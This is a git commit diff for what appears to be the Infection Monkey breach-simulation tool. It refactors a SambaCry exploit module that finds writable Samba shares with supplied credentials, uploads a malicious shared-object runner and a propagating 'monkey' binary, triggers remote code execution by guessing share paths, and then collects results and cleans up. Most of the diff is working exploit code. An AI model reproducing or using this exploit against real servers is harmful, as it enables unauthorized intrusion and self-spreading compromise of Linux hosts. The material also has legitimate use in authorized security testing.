Documented sambacry, moved everything to configuration, minor fixes

This commit is contained in:
Itay Mizeretz 2017-08-31 20:03:32 +03:00
parent 5de433eae0
commit c612ea0361
3 changed files with 134 additions and 68 deletions

View File

@ -220,10 +220,33 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey" smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
# Name of file which contains the monkey's commandline
sambacry_commandline_filename = "monkey_commandline.txt"
# Name of file which contains the runner's result
sambacry_runner_result_filename = "monkey_runner_result"
# SambaCry runner filename (32 bit)
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
sambacry_monkey_filename_32 = "monkey32"
# Monkey filename on share (64 bit)
sambacry_monkey_filename_64 = "monkey64"
# Monkey copy filename on share (32 bit)
sambacry_monkey_copy_filename_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection # system info collection
collect_system_info = True collect_system_info = True
########################### ###########################
# systeminfo config # systeminfo config
########################### ###########################

View File

@ -58,9 +58,20 @@
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"local_network_scan": true,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list" = [] "exploit_password_list": [],
sambacry_trigger_timeout: 5,
sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'],
sambacry_shares_not_to_check: ["IPC$", "print$"],
sambacry_commandline_filename: "monkey_commandline.txt",
sambacry_runner_result_filename: "monkey_runner_result",
sambacry_runner_filename_32: "sc_monkey_runner32.so",
sambacry_runner_filename_64: "sc_monkey_runner64.so",
sambacry_monkey_filename_32: "monkey32",
sambacry_monkey_filename_64: "monkey64",
sambacry_monkey_copy_filename_32: "monkey32_2",
sambacry_monkey_copy_filename_64: "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 200,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,

View File

@ -1,51 +1,36 @@
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
from os import path
import time
import sys
from io import BytesIO
import logging import logging
import re import re
from impacket.smbconnection import SMBConnection import sys
import time
from io import BytesIO
from os import path
import impacket.smbconnection import impacket.smbconnection
from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
from impacket.nt_errors import STATUS_SUCCESS from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ from impacket.smb import SessionError
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
from exploit import HostExploiter
from exploit.tools import get_target_monkey
from network.smbfinger import SMB_SERVICE
from model import DROPPER_ARG
from tools import build_monkey_commandline
import monkeyfs import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
# TODO: add documentation
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
# TODO: remove /home/user
# TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME_32 = "monkey32"
MONKEY_FILENAME_64 = "monkey64"
MONKEY_COPY_FILENAME_32 = "monkey32_2"
MONKEY_COPY_FILENAME_64 = "monkey64_2"
RUNNER_RESULT_FILENAME = "monkey_runner_result"
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter): class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
# TODO: is this credit sufficient?
_target_os_type = ['linux'] _target_os_type = ['linux']
def __init__(self): def __init__(self):
@ -53,20 +38,19 @@ class SambaCryExploiter(HostExploiter):
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host): if not self.is_vulnerable(host):
return return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" % LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict))) (host.ip_addr, str(writable_shares_creds_dict)))
# TODO: decide about ignoring src_path because of arc detection bug host.services[SMB_SERVICE]["shares"] = {}
src_path = src_path or get_target_monkey(host)
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
# TODO: config sleep time # Wait for samba server to load .so, execute code and create result file.
time.sleep(5) time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = [] successfully_triggered_shares = []
@ -76,7 +60,8 @@ class SambaCryExploiter(HostExploiter):
successfully_triggered_shares.append((share, trigger_result)) successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
# TODO: send telemetry for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0: if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
@ -86,6 +71,14 @@ class SambaCryExploiter(HostExploiter):
return False return False
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
"""
Tries exploiting share
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey
"""
try: try:
smb_client = self.connect_to_server(host.ip_addr, creds) smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
@ -95,12 +88,18 @@ class SambaCryExploiter(HostExploiter):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds): def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds) smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
RUNNER_FILENAME_32, RUNNER_FILENAME_64, self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
MONKEY_FILENAME_32, MONKEY_FILENAME_64, self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
for filename in file_list: for filename in file_list:
try: try:
@ -112,11 +111,19 @@ class SambaCryExploiter(HostExploiter):
smb_client.close() smb_client.close()
def get_trigger_result(self, ip, share, creds): def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds) smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
file_content = None file_content = None
try: try:
file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id) file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
@ -127,7 +134,11 @@ class SambaCryExploiter(HostExploiter):
return file_content return file_content
def get_writable_shares_creds_dict(self, ip): def get_writable_shares_creds_dict(self, ip):
# TODO: document """
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {} writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list() credentials_list = self.get_credentials_list()
@ -163,13 +174,18 @@ class SambaCryExploiter(HostExploiter):
def list_shares(self, smb_client): def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
for share in SHARES_TO_NOT_CHECK: for share in self._config.sambacry_shares_not_to_check:
if share in shares: if share in shares:
shares.remove(share) shares.remove(share)
return shares return shares
def is_vulnerable(self, host): def is_vulnerable(self, host):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in host.services: if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False return False
@ -199,6 +215,12 @@ class SambaCryExploiter(HostExploiter):
return is_vulnerable return is_vulnerable
def is_share_writable(self, smb_client, share): def is_share_writable(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share) LOG.debug('Checking %s for write access' % share)
try: try:
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
@ -217,20 +239,28 @@ class SambaCryExploiter(HostExploiter):
return writable return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem. # TODO: Fix or postpone 32/64 architecture problem.
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id) smb_client.disconnectTree(tree_id)
@ -246,9 +276,15 @@ class SambaCryExploiter(HostExploiter):
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client return smb_client
def trigger_module(self, smb_client, share_name): def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share_name) module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths: for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
@ -270,13 +306,11 @@ class SambaCryExploiter(HostExploiter):
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True return True
else: else:
# TODO: remove print pass
print str(e)
return False return False
@staticmethod def generate_module_possible_paths(self, share_name):
def generate_module_possible_paths(share_name):
""" """
Generates array of possible paths Generates array of possible paths
:param share_name: Name of the share :param share_name: Name of the share
@ -284,21 +318,19 @@ class SambaCryExploiter(HostExploiter):
""" """
possible_paths = [] possible_paths = []
for folder_path in FOLDER_PATHS_TO_GUESS: for folder_path in self._config.sambacry_folder_paths_to_guess:
for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]:
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
return possible_paths return possible_paths
@staticmethod def get_monkey_runner_bin_file(self, is_32bit):
def get_monkey_runner_bin_file(is_32bit):
if is_32bit: if is_32bit:
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb")
else: else:
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb")
@staticmethod def get_monkey_commandline_file(self, host, depth, location):
def get_monkey_commandline_file(host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #